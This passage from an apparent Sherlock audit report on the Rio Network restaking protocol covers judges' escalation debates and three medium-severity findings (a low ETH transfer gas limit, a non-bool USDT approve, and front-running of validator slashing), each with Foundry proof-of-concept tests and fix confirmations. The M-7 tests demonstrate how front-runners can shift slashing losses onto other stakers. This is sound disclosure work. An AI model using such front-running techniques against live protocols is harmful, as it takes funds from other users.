3. clients give the option to fallback to local block production when the builder bid represents less than X% of the locally produced block profits. See for example Teku builder-bid-compare-factor, Lighthouse builder-boost-factor or Prysm local-block-value-boost.

For operators aiming for optimal performance, settings 1, 2, and 3 are crucial. RioLRTRewardDistributor assumes the fee recipient role in these instances, causing priority fees and MEV funds to get stuck.

solimander

We only mention MEV-Boost in our operator docs.

Valid in that execution layer rewards would be stuck in the fallback case.

nevillehuang

I believe @10xhash is correct, this seems to be out of scope and invalid based on the following sherlock rule unless otherwise stated in documentation, which is not present.

> 14. Loss of airdrops or liquidity fees or any other rewards that are not part of the original protocol design is not considered a valid high/medium. Example

fnanni-0

@nevillehuang could you elaborate on why do you consider EL rewards sent to RioLRTRewardDistributor `rewards that are not part of the original protocol design`?

The documentation (here and here) mentions that EL rewards are expected and RioLRTRewardDistributor must handle them. In addition, it is stated in the operators docs that whitelisted operators must make sure this happens (otherwise I guess the RioDAO would delist operators who disobey?). Third, go to the FAQs section in https://goerli.rio.network/ and you will see:

> ## How often do rewards compound/turnover?
>
> Restaking rewards (less fees) are deposited into the LRT's deposit pool when the daily epoch ends. These rewards are based on the Ethereum consensus layer -->**and the execution layer rewards**<--.

Furthermore, rewards expected to be received by RioLRTRewardDistributor (EL rewards included) are distributed to the treasury, the operatorRewardPool and the depositPool. This means that EL rewards become:

1. profit for RioDAO.
2. profit for operators.
3. yield for the Rio protocol and potentially financial source of new validators that will allow even more yield into Rio. This seems like an important feature and incentive for users staking in Rio.

There are many places in which it is explicitly or implicitly pointed at the fact that Execution Layer rewards are part of Rio's protocol rewards and the sponsor confirmed this.

nevillehuang

@fnanni-0 You are correct, thanks for pointing me to the right resource. I believe this issue is valid and should remain as it is.

Czar102

I believe that Execution Layer rewards are a part of the initial design, but I don't see why would the `RioLRTRewardDistributor` be thought to be able to receive these rewards directly. I will quote the same source as above:

> Restaking rewards (less fees) are deposited into the LRT's deposit pool when the daily epoch ends. These rewards are based on the Ethereum consensus layer and the execution layer rewards.

Please note that a word "depositing" is used, which implies that the deposit logic is triggered during these operations, and the balance isn't just incremented.

Aside from that, the MEV Bosst is mentioned in the docs:

> To obtain the Maximal Extractable Value (MEV) from a block, the block builder can choose to auction block space to block builders in a competitive marketplace with software like MEV boost, further increasing potential rewards.

In order to keep this issue valid, there needs to be an expectation of `RioLRTRewardDistributor` to receive the Execution Layer rewards directly. @fnanni-0 can you let me know where is it communicated?

nevillehuang

@Czar102 Agree with your reasoning, I think it was not explicitly stated that execution layer rewards are expected to be received directly, as mentioned here

fnanni-0

@Czar102 I think this is where it's the clearest. The Reward Distributor contract is mentioned and the instruction to set it as the fee recipient means that it is expected to receive execution layer rewards directly.

> ## Post-Approval Requirements
>
> Once approved by the RioDAO, please complete the following steps:
>
> ## Ethereum Validators
>
> **Execution Layer Rewards Configuration** Set the fee recipient for your validators to the Reward Distributor contract. This is NOT the same as the Withdrawal Credentials address.

Note that even with mev-boost as a requirement (which the docs don't seem to say it's a must), setting fee recipient to the Reward Distributor contract means that in fallback cases it will receive EL rewards directly, as explain in my previous comment.

In case it matters, the documentation provided in the contest readme (https://docs.rio.network/) references the operator docs, quoted above, in the section `CONTRACTS AND TOOLING --> Tooling --> Rio Operator Guide`.

Regarding,

> but I don't see why would the `RioLRTRewardDistributor` be thought to be able to receive these rewards directly

I guess the operator docs are enough, but let me elaborate a bit more. EigenLayer doesn't handle execution layer rewards, so it's evident that they must be handled differently. There are no other contracts in Rio protocol for this purpose except for RioLRTRewardDistributor and nowhere it is explained that there could be a special method for handling EL rewards before sending them to RioLRTRewardDistributor. The most straight forward, intuitive way is to simply send the rewards directly.

Here are all the other chunks of documentation and comments linked in this discussion that seem to me to clearly state that EL rewards are or could be received directly by the `RioLRTRewardDistributor`:

> The Reward Distributor contract (RioLRTRewardDistributor) has the ability to receive ETH via the Ethereum Execution Layer or EigenPod rewards and then distribute those rewards.
>
> ETH staking consensus rewards are claimed from EigenPods [...]. ETH staking execution rewards flow directly through the reward distributor.

> ## Rewards
>
> Participating in restaking generates rewards in a number of forms outlined below. When rewards are received by the RewardDistributor contract in a form other than ETH, [...].
>
> ## EigenLayer Rewards and EigenLayer Points
>
> [...]
>
> ## Native Staking Rewards
>
> [...]
>
> **Consensus Layer Rewards** [...]
>
> **--> Execution Layer Rewards <--** [...]
>
> Restaking rewards [quoted above] (less fees) are deposited into the LRT's deposit pool when the daily epoch ends. These rewards are based on the Ethereum consensus layer and the execution layer rewards.

Regarding the last quote, you wrote:

> Please note that a word "depositing" is used, which implies that the deposit logic is triggered during these operations, and the balance isn't just incremented.

You are right in the sense that the deposit logic is referenced, but I think the link might be incorrect. "deposited when the daily epoch ends" is contradictory, since the deposit flow and the rebalance flow are two separate things. But "depositing" is use in the context of the Deposit Pool contract receiving rewards which is well documented, because the Reward Distributor contract sends ETH to it which can be withdrawn/staked during rebalancing.

Czar102

Great points, @fnanni-0.

@nevillehuang I think the message you quoted actually supports @fnanni-0's point, am I understanding correctly?

> ETH staking execution rewards flow directly through the reward distributor.

@fnanni-0 does Rio have control over when the Execution Layer Rewards are sent if they are sent directly? I think lack of my knowledge about it didn't allow me to fully understand the meaning of the last quote from the docs about daily deposits of rewards.

fnanni-0

> @fnanni-0 does Rio have control over when the Execution Layer Rewards are sent if they are sent directly?

@Czar102 I don't think so. They are sent to the Reward Distributor directly when a validator controlled by an operator registered in Rio is selected as block proposer and one of these three scenarios happens (or if mev-boost is not used). Does this answer your question?

> about daily deposits of rewards

In case it wasn't clear, the Deposit Pool should receive the rewards from the Reward Distributor at any time, independently of the rebalance execution, like all deposits. It's the rebalancing of these deposits (rewards included) that happens daily. Anyway, this doesn't seem very relevant here.

Czar102

I see, thank you for this elaboration. It seems that this is indeed a valid concern.

@solimander @nevillehuang @10xhash @mstpr if you still diagree, please elaborate what are we misunderstanding.

Planning to reject the escalation and leave the issue as is.

Czar102

Result: Medium Unique

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- 10xhash: rejected

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#6.

Fixed A function is added to manually distribute the ETH rewards rather than the receive() function itself distributing the rewards

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-5: The protocol can't receive rewards because of low gas limits on ETH transfers

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/185

Found by

0xkaden, Anubis, MatricksDeCoder, Topmark, Tricko, boredpukar, cats, deth, fnanni, hash, klaus, popular, sakshamguruji, zzykxx

Summary

The hardcoded gas limit of the Asset::transferETH() function, used to transfer ETH in the protocol, is too low and will result unwanted reverts.

Vulnerability Detail

ETH transfers in the protocol are always done via Asset::transferETH(), which performs a low-level call with an hardcoded gas limit of `10_000`:

```
(bool success,) = recipient.call{value: amount, gas: 10_000}('');
if (!success) {revert ETH_TRANSFER_FAILED();}
```

The hardcoded `10_000` gas limit is not high enough for the protocol to be able receive and distribute rewards. Rewards are currently only available for native ETH, an are received by Rio via:

- Partial withdrawals
- ETH in excess of `32ETH` on full withdrawals

The flow to receive rewards requires two steps:

1. An initial call to EigenPod::verifyAndProcessWithdrawals(), which queues a withdrawal to the Eigenpod owner: an `RioLRTOperatorDelegator` instance
2. A call to DelayedWithdrawalRouter::claimDelayedWithdrawals().

The call to DelayedWithdrawalRouter::claimDelayedWithdrawals() triggers the following flow:

1. ETH are transferred to the RioLRTOperatorDelegator instance, where the `receive()` function is triggered.

2. The `receive()` function of RioLRTOperatorDelegator transfers ETH via Asset::transferETH() to the RioLRTRewardDistributor, where another `receive()` function is triggered.
3. The `receive()` function of RioLRTRewardDistributor transfers ETH via Asset::transferETH() to the `treasury`, the `operatorRewardPool` and the RioLRTDepositPool.

The gas is limited at `10_000` in step `2` and is not enough to perform step `3`, making it impossible for the protocol to receive rewards and leaving funds stuck.

POC

Add the following imports to `RioLRTOperatorDelegator.t.sol`:

```
import {IRioLRTOperatorRegistry} from
↪  'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {RioLRTOperatorDelegator} from
↪  'contracts/restaking/RioLRTOperatorDelegator.sol';
import {CredentialsProofs, BeaconWithdrawal} from
↪  'test/utils/beacon-chain/MockBeaconChain.sol';
```

then copy-paste:

```
function test_outOfGasOnRewards() public {
    address alice = makeAddr("alice");
    uint256 initialBalance = 40e18;
    deal(alice, initialBalance);
    vm.prank(alice);
    reETH.token.approve(address(reETH.coordinator), type(uint256).max);

    //->Operator delegator and validators are added to the protocol
    uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry,
↪   address(reETH.rewardDistributor));
    RioLRTOperatorDelegator operatorDelegator =
        RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetail
↪   s(operatorId).delegator));

    //-> Alice deposits ETH in the protocol
    vm.prank(alice);
    reETH.coordinator.depositETH{value: initialBalance}();

    //-> Rebalance is called and the ETH deposited in a validator
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Create a new validator with a 40ETH balance and verify his credentials.
```


SHERLOCK

```
    //-> This is to "simulate" rewards accumulation
    uint40[] memory validatorIndices = new uint40[](1);
    IRioLRTOperatorRegistry.OperatorPublicDetails memory details =
↪   reETH.operatorRegistry.getOperatorDetails(operatorId);
    bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();
    beaconChain.setNextTimestamp(block.timestamp);
    CredentialsProofs memory proofs;
    (validatorIndices[0], proofs) = beaconChain.newValidator({
        balanceWei: 40 ether,
        withdrawalCreds: abi.encodePacked(withdrawalCredentials)
    });

    //-> Verify withdrawal crendetials
    vm.prank(details.manager);
    reETH.operatorRegistry.verifyWithdrawalCredentials(
        operatorId,
        proofs.oracleTimestamp,
        proofs.stateRootProof,
        proofs.validatorIndices,
        proofs.validatorFieldsProofs,
        proofs.validatorFields
    );

    //-> Process a full withdrawal, 8ETH (40ETH - 32ETH) will be queued
↪   withdrawal as "rewards"
    verifyAndProcessWithdrawalsForValidatorIndexes(address(operatorDelegator),
↪   validatorIndices);

    //-> Call `claimDelayedWithdrawals` to claim the withdrawal
    delayedWithdrawalRouter.claimDelayedWithdrawals(address(operatorDelegator),
↪   1); // Reverts for out-of-gas
}
```

Impact

The protocol is unable to receive rewards and the funds will be stucked.

Code Snippet

Tool used

Manual Review

SHERLOCK

Recommendation

Remove the hardcoded `10_000` gas limit in Asset::transferETH(), at least on ETH transfers where the destination is a protocol controlled contract.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/4

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#4.

Fixed Removed the 10k gas limit

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-6: RioLRTIssuer::issueLRT reverts if deposit asset's approve method doesn't return a bool

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/189

Found by

fibonacci, fugazzi

Summary

Using `ERC20::approve` will not work with ERC20 tokens that do not return a bool.

Vulnerability Detail

The contest's README states that tokens that may not return a bool on ERC20 methods (e.g., USDT) are supposed to be used.

The `RioLRTIssuer::issueLRT` function makes a sacrificial deposit to prevent inflation attacks. To process the deposit, it calls the `ERC20::approve` method, which is expected to return a bool value.

Solidity has return data length checks, and if the token implementation does not return a bool value, the transaction will revert.

Impact

Issuing LRT tokens with an initial deposit in an asset that does not return a bool on an `approve` call will fail.

POC

Add this file to the `test` folder. Run test with `forge test --mc POC --rpc-url=<mainnet-rpc-url> -vv`.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console2} from 'forge-std/Test.sol';
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {SafeERC20} from
↪  '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';

contract POC is Test {
```

```
    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address immutable owner = makeAddr("owner");
    address immutable spender = makeAddr("spender");

    function setUp() external {
       deal(USDT, owner, 1e6);
    }

    function testApproveRevert() external {
        vm.prank(owner);
        IERC20(USDT).approve(spender, 1e6);
    }

    function testApproveSuccess() external {
        vm.prank(owner);
        SafeERC20.forceApprove(IERC20(USDT), spender, 1e6);

        uint256 allowance = IERC20(USDT).allowance(owner, spender);
        assertEq(allowance, 1e6);
    }
}
```

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTIssuer.sol#L172

Tool used

Manual Review

Recommendation

Use `forceApprove` from OpenZeppelin's `SafeERC20` library.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/5

mstpr

Escalate I think this issue is low/informational for the following reasons:

1- There are no loss of funds here. If the USDT is picked then the underlying asset will not be possible to be added to LRT.

2- Current code is specifically for assets that has an EigenLayer strategy which there are no tokens like USDT.

3- Issuer contract is upgradable proxy, if the adding a new asset fails, then the new implementation can be used to add the asset to LRT.

sherlock-admin2

> Escalate I think this issue is low/informational for the following reasons:
>
> 1- There are no loss of funds here. If the USDT is picked then the underlying asset will not be possible to be added to LRT.
>
> 2- Current code is specifically for assets that has an EigenLayer strategy which there are no tokens like USDT.
>
> 3- Issuer contract is upgradable proxy, if the adding a new asset fails, then the new implementation can be used to add the asset to LRT.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

Disagree with escalation, the argument is moot given it is explicitly stated in contest details that such tokens could be supported

> Do you expect to use any of the following tokens with non-standard behaviour with the smart contracts?
>
> - We plan to support tokens with no less than 6 decimals and no more than 18 decimals.
> - Tokens may not return a bool on ERC20 methods (e.g. USDT)
> - Tokens may have approval race protections (e.g. USDT)

realfugazzi

> Escalate I think this issue is low/informational for the following reasons:
>
> 1- There are no loss of funds here. If the USDT is picked then the underlying asset will not be possible to be added to LRT.
>
> 2- Current code is specifically for assets that has an EigenLayer strategy which there are no tokens like USDT.

> 3- Issuer contract is upgradable proxy, if the adding a new asset fails, then the new implementation can be used to add the asset to LRT.

USDT is mentioned as a supported asset in the documentation, also double checked by the sponsor, see #232

The issue will prevent the initial deposit, enabling inflation attack vectors.

solimander

> The issue will prevent the initial deposit, enabling inflation attack vectors.

It will not allow USDT to be added, rather than enable inflation attack vectors.

Czar102

I disagree with the escalation, the codebase will not be able to support planned functionality without loss of funds, so Medium is appropriate.

mstpr

> I disagree with the escalation, the codebase will not be able to support planned functionality without loss of funds, so Medium is appropriate.

there won't be any loss of funds tho. It is just simply USDT will not be added, tx will fail.

solimander

In which case, the issuer would be upgraded to support USDT.

realfugazzi

> > I disagree with the escalation, the codebase will not be able to support planned functionality without loss of funds, so Medium is appropriate.
>
> there won't be any loss of funds tho. It is just simply USDT will not be added, tx will fail.

right even setting 0 will break the tx, but it falls in the med severity according to the docs as core func is broken

Czar102

Result: Medium Has duplicates

As noted above, breaks core functionality, hence Medium is appropriate.

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- mstpr: rejected

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#5.

Fixed forceApprove is now used

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-7: Stakers can avoid validator penalties

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/190

Found by

monrel, zzykxx

Summary

Stakers can frontrun validators penalties and slashing events with a withdrawal request in order to avoid the loss, this is possible if the deposit pool has enough liquidity available.

Vulnerability Detail

Validators can lose part of their deposit via penalties or slashing events:

- In case of penalties Eigenlayer can be notified of the balance drop via the permissionless function EigenPod::verifyBalanceUpdates().
- In case of slashing the validator is forced to exit and Eigenlayer can be notified via the permissionless function EigenPod::verifyAndProcessWithdrawals() because the slashing event is effectively a full withdrawal.

As soon as either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() is called the TVL of the Rio protocol drops instantly. This is because both of the functions update the variable podOwnerShares[podOwner]:

- EigenPod::verifyBalanceUpdates() will update the variable here
- EigenPod::verifyAndProcessWithdrawals() will update the variable here

This makes it possible for stakers to:

1. Request a withdrawal via RioLRTCoordinator::rebalance() for all the `LRTTokens` held.
2. Call either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals().

At this point when RioLRTCoordinator::rebalance() will be called and a withdrawal will be queued that does not include penalties or slashing.

It's possible to withdraw `LRTTokens` while avoiding penalties or slashing up to the amount of liquidity available in the deposit pool.

SHERLOCK

POC

I wrote a POC whose main point is to show that requesting a withdrawal before an instant TVL drop will withdraw the full amount requested without taking the drop into account. The POC doesn't show that EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() actually lowers the TVL because I wasn't able to implement it in the tests.

Add imports to `RioLRTCoordinator.t.sol`:

```
import {IRioLRTOperatorRegistry} from
↪  'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {RioLRTOperatorDelegator} from
↪  'contracts/restaking/RioLRTOperatorDelegator.sol';
import {CredentialsProofs, BeaconWithdrawal} from
↪  'test/utils/beacon-chain/MockBeaconChain.sol';
```

then copy-paste:

```
IRioLRTOperatorRegistry.StrategyShareCap[] public emptyStrategyShareCaps;
function test_avoidInstantPriceDrop() public {
    //-> Add two operators with 1 validator each
    uint8[] memory operatorIds = addOperatorDelegators(
        reETH.operatorRegistry,
        address(reETH.rewardDistributor),
        2,
        emptyStrategyShareCaps,
        1
    );
    address operatorAddress0 = address(uint160(1));

    //-> Deposit ETH so there's 74ETH in the deposit pool
    uint256 depositAmount = 2*ETH_DEPOSIT_SIZE -
↪   address(reETH.depositPool).balance;
    uint256 amountToWithdraw = 10 ether;
    reETH.coordinator.depositETH{value: amountToWithdraw + depositAmount}();

    //-> Stake the 64ETH on the validators, 32ETH each and 10 ETH stay in the
↪   deposit pool
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Attacker notices a validator is going receive penalties and immediately
↪   requests a withdrawal of 10ETH
    reETH.coordinator.requestWithdrawal(ETH_ADDRESS, amountToWithdraw);

    //-> Validator get some penalties and Eigenlayer notified
```


SHERLOCK

```
    //IMPORTANT: The following block of code it's a simulation of what would
↪   happen if a validator balances gets lowered because of penalties
    //and `verifyBalanceUpdates()` gets called on Eigenlayer. It uses another
↪   bug to achieve an instant loss of TVL.

    //      ~~~Start penalties simulation~~~
    {
        //-> Verify validators credentials of the two validators
        verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);
        verifyCredentialsForValidators(reETH.operatorRegistry, 2, 1);

        //-> Cache current TVL and ETH Balance
        uint256 TVLBefore = reETH.coordinator.getTVL();

        //->Operator calls `undelegate()` on Eigenlayer
        //IMPORTANT: This achieves the same a calling `verifyBalanceUpdates()`
↪   on Eigenlayer after a validator suffered penalties,
        //an instant drop in TVL.
        IRioLRTOperatorRegistry.OperatorPublicDetails memory details =
↪   reETH.operatorRegistry.getOperatorDetails(operatorIds[0]);
        vm.prank(operatorAddress0);
        delegationManager.undelegate(details.delegator);

        //-> TVL dropped
        uint256 TVLAfter = reETH.coordinator.getTVL();

        assertLt(TVLAfter, TVLBefore);
    }
    //      ~~~End penalties simulation~~~

    //-> Rebalance gets called
    skip(reETH.coordinator.rebalanceDelay());
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Attacker receives all of the ETH he withdrew, avoiding the effect of
↪   penalties
    uint256 balanceBefore = address(this).balance;
    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimR
↪   equest({asset: ETH_ADDRESS, epoch: 0}));
    uint256 balanceAfter = address(this).balance;
    assertEq(balanceAfter - balanceBefore, amountToWithdraw);
}
```


SHERLOCK

Impact

Stakers can avoid validator penalties and slashing events if there's enough liquidity in the deposit pool.

Code Snippet

Tool used

Manual Review

Recommendation

When RioLRTCoordinator::rebalance() is called and penalties or slashing events happened during the epoch being settled, distribute the correct amount of penalties to all the `LRTTokens` withdrawn in the current epoch, including the ones that requested the withdrawal before the drop.

Discussion

nevillehuang

Could be related to #52 and duplicates, both seems to involve front-running/sandwiching rebalance calls. Separated for now for further discussions

solimander

Valid, though need to take some time to consider whether this will be addressed. Could potentially frontrun slashing using any liquidity pool.

KupiaSecAdmin

Escalate

This issue should be considered as Low, because this happens under rare condition and impact is pretty small.

1. When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another wait for EigenLayer withdrawal period.
2. The slashing amount is maximum 1ETH, compared to each validator deposits 32ETH, the amount does not affect TVL much.
3. The penalty amount that staker can avoid is `Staker'sAmount * 1 / TVL`, which looks pretty small in real word experience, thus much less incentive for staker to monitor slashing events and avoid the penalty.

4. Another point to consider is that once a staker requests a withdrawal, the staker loses earning during the withdrawal period, which makes it less incentive.

sherlock-admin2

> Escalate
>
> This issue should be considered as Low, because this happens under rare condition and impact is pretty small.
>
> 1. When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another wait for EigenLayer withdrawal period.
> 2. The slashing amount is maximum 1ETH, compared to each validator deposits 32ETH, the amount does not affect TVL much.
> 3. The penalty amount that staker can avoid is `Staker'sAmount * 1 / TVL`, which looks pretty small in real word experience, thus much less incentive for staker to monitor slashing events and avoid the penalty.
> 4. Another point to consider is that once a staker requests a withdrawal, the staker loses earning during the withdrawal period, which makes it less incentive.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xmonrel

Escalate

I will argue that this is a High issue

The core of this issue is not that TVL is dropped but rather that the slashing will be concentrated among those that don't front-run.

If 50% front-run then the rest will pay 50% more in slashing penalty. Taken to the worst case scenario, if all but 1 user front-run he will pay for the entire slashing amount.

Look at the duplicate #362 that shows this.

When this issue becomes known a new "meta" will be at play, everybody will have to front-run otherwise they risk losing all their funds since they will have to cover an outsized part of the slashing penalty. The most likely scenario is that users leave

the protocol since there is no assurance they don't lose all their funds if other manage to front-run and they don't.

As such slashing does not actually have to happen for this to be an issue, when users known that this issue exists the rational decision is to exit the protocol.

I am not sure if this fulfills the "Inflicts serious non-material losses (doesn't include contract simply not working)." requirement but I would like the judge to consider the above arguments.

sherlock-admin2

> Escalate
>
> I will argue that this is a High issue
>
> The core of this issue is not that TVL is dropped but rather that the slashing will be concentrated among those that don't front-run.
>
> If 50% front-run then the rest will pay 50% more in slashing penalty. Taken to the worst case scenario, if all but 1 user front-run he will pay for the entire slashing amount.
>
> Look at the duplicate #362 that shows this.
>
> When this issue becomes known a new "meta" will be at play, everybody will have to front-run otherwise they risk losing all their funds since they will have to cover an outsized part of the slashing penalty. The most likely scenario is that users leave the protocol since there is no assurance they don't lose all their funds if other manage to front-run and they don't.
>
> As such slashing does not actually have to happen for this to be an issue, when users known that this issue exists the rational decision is to exit the protocol.
>
> I am not sure if this fulfills the "Inflicts serious non-material losses (doesn't include contract simply not working)." requirement but I would like the judge to consider the above arguments.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Czar102

> When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another wait for EigenLayer withdrawal period.

@KupiaSecAdmin how long is the rebalance delay and the EigenLayer withdrawal period?

> The slashing amount is maximum 1ETH, compared to each validator deposits 32ETH, the amount does not affect TVL much.

There could be multiple slashings at once, right? So the amount isn't capped. cc @nevillehuang @0xmonrel

KupiaSecAdmin

@Czar102 - Rebalance delay is max 3 days, EigenLayer's withdrawal period is about 5-7 days.

Regarding the slashing, as it can be shown on beaconscan, usually 1-2(max 3-4) slashing happens in 12 days. And usually one slash amount is around 0.6 ETH, max capped at 1ETH. So they are 1-2 slashing of 1M validators, and in 12 days. Not sure how many validators can Rio could have control of, but the amount is relatively too small to incentivize stakers withdraw all their assets to avoid penalties.

0xmonrel

The point is that if other front-run you lose an unproportional amount if that is 1 ETH or 20 ETH launchnode does not change the fact that the penalty is re-distributed.

Consider this from a user's perspective: They could based on the action of other LRT holders lose all their assets even based on a small % slashing. If something big happens such as the launchnode event the chance is of course increased.

I believe this is a critical issue for an LRT or LST, each user having a guarantee that they only pay a proportional amount is a requirement for it to be a viable product.

As it stands: If slashed you could lose a proportional amount or up to 100% of your assets, you don't know. It will be a race to front-run.

KupiaSecAdmin

@0xmonrel - Talking about launchnode, they had about 5000 validators, so the staked amount is 160,000ETH. Saying 20ETH is slashed, it is like 0.0125%. Stakers withdrawing all assets because they want to avoid 0.01% of their asset does not seem to make much sense.

Also not quite understanding what you've described above, how front-run can let other LRT holders lose all assets?

0xmonrel

Also the the following argument is not true:

> When a staker notices a slashing event, tries to withdraw all of their assets, wait for rebalance delay, another >wait for EigenLayer withdrawal period.

At the point when you front-run withdrawal you have already calculated the exchange rate. Rebalancing does not have to happen before validator balance is updated on EigenLayer. You only need to call withdrawal on Rio which is where `sharesOwed` is calculated.

This issue actually makes it seem like there are other constraints, that is not true. Look at my duplicate issue #362. You only need request withdrawl to lock in your `sharesOwed`.

0xmonrel

> @0xmonrel - Talking about launchnode, they had about 5000 validators, so the staked amount is 160,000ETH. Saying 20ETH is slashed, it is like 0.0125%. Stakers withdrawing all assets because they want to avoid 0.01% of their asset does not seem to make much sense.
>
> Also not quite understanding what you've described above, how front-run can let other LRT holders lose all assets?

I linked that to answer Czar question of multiple slashing being possible, which it is.

I will explain again that this issue leads to re-distribution of slashing, that is why you can lose 100%.

Simple Example:

1. 1 ETH slashed
2. All front-run other than 1 user that has shares worth 1 ETH. shares on EigenLayer=1.
3. When balance is updated on Eigenlayer it will be 0 ETH since 1-1=0
4. Last user has lost 100% of assets.

Observe that all withdrawals for users in 2 will be successful at the `sharesOwed` calculated when they request their withdrawal since no deficit is reached.

Its the re-distribution from all that front-run to those that are left that leads to large losses.

Czar102

I believe that, given the sole requirement that a larger than usual (still, possibly small) slashing event needs to happen for this strategy of withdrawing to be profitable (lowering losses), the severity is High. It's quite close to being a Medium, though.

Planning to accept the second escalation and make this a High severity issue.

nevillehuang

@Czar102 @solimander @0xmonrel Isn't slashing a less common event given validators are not incentivized to do so?

solimander

> Isn't slashing a less common event given validators are not incentivized to do so?

It's an edge case. Only about 0.0425% of Ethereum validators have been slashed and we're working with professional operators, but it should be handled gracefully regardless.

0xmonrel

I think we should also consider that a small amount of slashing and profit for front-runners can still lead to very large loss for those that do not front-run.

Here is a POC of a case where 1 ETH slashing leads to 100% loss for those that do not front-run.

```
function test_FrontRunReDistribution() public{

    uint8[] memory operatorIds = addOperatorDelegators( //add 2 validators to 1
↪   operator
    reETH.operatorRegistry,
    address(reETH.rewardDistributor),
    1,
    emptyStrategyShareCaps,
    2
    );

    // POC is based on two cohorts, each cohort could include 1 or multiple
↪   users.
    // Cohort 1 is the set of users that front-run. In total they hold 31 ETH
    // Cohort 2 is the set of cohort that do not front-run. These users hold 1
↪   ETH
    //
    // I show that if cohort 1 front-runs cohort 2 after a 1 ETH slashing
    // cohort 2 loses 100% of their assets, they were supposed to only lose only
↪   ~3%

    uint256 depositAmount = ETH_DEPOSIT_SIZE -
↪   address(reETH.depositPool).balance;
    reETH.coordinator.depositETH{value: depositAmount}();

    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);
    uint40[] memory validatorIndices =
↪   verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);
```


SHERLOCK

```
    address delegator =
↪   reETH.operatorRegistry.getOperatorDetails(operatorIds[0]).delegator;

    // Slashing for 1 ETH and 31 ETH front-runs the update

    uint256 withdrawalAmount = 31 ether;
    reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);
    uint256 firstEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);

    // Slashing is updated on EigenLayer
    // We manually update balance to 1 to simulate the update.

    int256 shares =
↪   RioLRTOperatorDelegator(payable(delegator)).getEigenPodShares();

    IEigenPodManager manager = IEigenPodManager(EIGEN_POD_MANAGER_ADDRESS);
    stdstore.target(EIGEN_POD_MANAGER_ADDRESS).sig("podOwnerShares(address)").wi
↪   th_key(delegator).checked_write_int(int256(shares-1 ether));
    int256 loadInt = stdstore.target(EIGEN_POD_MANAGER_ADDRESS).sig("podOwnerSha
↪   res(address)").with_key(delegator).read_int();

    skip(reETH.coordinator.rebalanceDelay());
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    // Check the availalbe shares left after front-run and slashing update

    shares = RioLRTOperatorDelegator(payable(delegator)).getEigenPodShares();

    assertEq(shares,0);

    console2.log("Amount of shares available for cohort 2 after cohort 1
↪   front-runs:", shares);
    uint256 expectedShares = 1e18 * 31 /32;

    console2.log("Amount of shares expected for cohort 2 after 1 ETH slashing:",
↪   expectedShares);

}
```

```
Logs:
  Amount of shares available for cohort 2 after cohort 1 front-runs: 0
  Amount of shares expected for cohort 2 after 1 ETH slashing: 968750000000000000
```


SHERLOCK

Czar102

I understand the impact, but, on second thoughts, given that the slashings are very rare and there are multiple safeguards and incentives set to prevent them, it makes more sense to consider this a Medium severity issue.

Planning to reject the escalation and leave it as is.

Czar102

Result: Medium Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- KupiaSecAdmin: rejected
- 0xmonrel: rejected

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/13

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> rio-org/rio-sherlock-audit#13

Now since the value of the rio token is only computed at the time of rebalance, if the off-chain system is able to update the slashed validators balance in eigenpod before the rebalance call, the correct price will be used

sherlock-admin4

The Lead Senior Watson signed off on the fix.
